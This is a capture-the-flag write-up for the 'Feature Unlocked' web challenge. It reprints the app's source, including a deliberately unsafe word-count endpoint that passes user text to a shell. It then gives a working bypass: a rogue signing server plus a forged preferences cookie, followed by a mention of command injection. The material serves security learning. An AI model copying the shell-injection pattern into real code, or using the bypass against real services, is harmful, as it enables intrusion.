CyberSpace CTF 2024 | Feature Unlocked (Web)
Difficulty : Easy

Pretty easy challenge made by Cryptocat.
Analysis :
Opening the website you would be greeted with a countdown, we need to bypass the countdown to access the hidden feature which will allow us to see the flag.
When analyzing the code we notice that there are two applications running here, one internal and one that we interact with.
main.py :
import subprocess
import base64
import json
import time
import requests
import os
from flask import Flask, request, render_template, make_response, redirect, url_for
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
from itsdangerous import URLSafeTimedSerializer
app = Flask(__name__)
app.secret_key = os.urandom(16)
serializer = URLSafeTimedSerializer(app.secret_key)
DEFAULT_VALIDATION_SERVER = 'http://127.0.0.1:1338'
NEW_FEATURE_RELEASE = int(time.time()) + 7 * 24 * 60 * 60
DEFAULT_PREFERENCES = base64.b64encode(json.dumps({
'theme': 'light',
'language': 'en'
}).encode()).decode()
def get_preferences():
preferences = request.cookies.get('preferences')
if not preferences:
response = make_response(render_template(
'index.html', new_feature=False))
response.set_cookie('preferences', DEFAULT_PREFERENCES)
return json.loads(base64.b64decode(DEFAULT_PREFERENCES)), response
return json.loads(base64.b64decode(preferences)), None
@app.route('/')
def index():
_, response = get_preferences()
return response if response else render_template('index.html', new_feature=False)
@app.route('/release')
def release():
token = request.cookies.get('access_token')
if token:
try:
data = serializer.loads(token)
if data == 'access_granted':
return redirect(url_for('feature'))
except Exception as e:
print(f"Token validation error: {e}")
validation_server = DEFAULT_VALIDATION_SERVER
if request.args.get('debug') == 'true':
preferences, _ = get_preferences()
validation_server = preferences.get(
'validation_server', DEFAULT_VALIDATION_SERVER)
if validate_server(validation_server):
response = make_response(render_template(
'release.html', feature_unlocked=True))
token = serializer.dumps('access_granted')
response.set_cookie('access_token', token, httponly=True, secure=True)
return response
return render_template('release.html', feature_unlocked=False, release_timestamp=NEW_FEATURE_RELEASE)
@app.route('/feature', methods=['GET', 'POST'])
def feature():
token = request.cookies.get('access_token')
if not token:
return redirect(url_for('index'))
try:
data = serializer.loads(token)
if data != 'access_granted':
return redirect(url_for('index'))
if request.method == 'POST':
to_process = request.form.get('text')
try:
word_count = f"echo {to_process} | wc -w"
output = subprocess.check_output(
word_count, shell=True, text=True)
except subprocess.CalledProcessError as e:
output = f"Error: {e}"
return render_template('feature.html', output=output)
return render_template('feature.html')
except Exception as e:
print(f"Error: {e}")
return redirect(url_for('index'))
def get_pubkey(validation_server):
try:
response = requests.get(f"{validation_server}/pubkey")
response.raise_for_status()
return ECC.import_key(response.text)
except requests.RequestException as e:
raise Exception(
f"Error connecting to validation server for public key: {e}")
def validate_access(validation_server):
pubkey = get_pubkey(validation_server)
try:
response = requests.get(validation_server)
response.raise_for_status()
data = response.json()
date = data['date'].encode('utf-8')
signature = bytes.fromhex(data['signature'])
verifier = DSS.new(pubkey, 'fips-186-3')
verifier.verify(SHA256.new(date), signature)
return int(date)
except requests.RequestException as e:
raise Exception(f"Error validating access: {e}")
def validate_server(validation_server):
try:
date = validate_access(validation_server)
return date >= NEW_FEATURE_RELEASE
except Exception as e:
print(f"Error: {e}")
return False
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
validation.py :
from flask import Flask, jsonify
import time
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
app = Flask(__name__)
key = ECC.generate(curve='p256')
pubkey = key.public_key().export_key(format='PEM')
@app.route('/pubkey', methods=['GET'])
def get_pubkey():
return pubkey, 200, {'Content-Type': 'text/plain; charset=utf-8'}
@app.route('/', methods=['GET'])
def index():
date = str(int(time.time()))
h = SHA256.new(date.encode('utf-8'))
signature = DSS.new(key, 'fips-186-3').sign(h)
return jsonify({
'date': date,
'signature': signature.hex()
})
if __name__ == '__main__':
app.run(host='127.0.0.1', port=1338)
The application sends a request to the internal server that sends a public key alongside the date that was encrypted using that key, the validation server can be changed when adding the debug argument and putting the value inside the preferences cookie.
from there we can access the restricted feature.
Exploitation :
We can start by deploying another validation server by taking the same code and just changing the date that is returned.
from flask import Flask, jsonify
import time
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
app = Flask(__name__)
# Generate ECC key pair
key = ECC.generate(curve='P-256')
pubkey = key.public_key().export_key(format='PEM')
NEW_FEATURE_RELEASE = int(time.time()) + 500 + 7 * 24 * 60 * 60
@app.route('/pubkey', methods=['GET'])
def get_pubkey():
# Return public key as plain text
return pubkey, 200, {'Content-Type': 'text/plain; charset=utf-8'}
@app.route('/', methods=['GET'])
def index():
# Convert the date to a string for hashing
date_str = str(NEW_FEATURE_RELEASE)
h = SHA256.new(date_str.encode('utf-8'))
# Create the signature
signer = DSS.new(key, 'fips-186-3')
signature = signer.sign(h)
# Return the date and signature in JSON format
return jsonify({
'date': str(NEW_FEATURE_RELEASE),
'signature': signature.hex()
})
if __name__ == '__main__':
app.run(host='127.0.0.1', port=1338)
after that we craft the prefrences cookie and then we encode it to base64.
{"theme": "dark", "language": "en", "validation_server" : "<server_ip>"}
we then change the cookie's value and unclock the feature.
After that you would need to perform a simple command injection to get the flag.
Last updated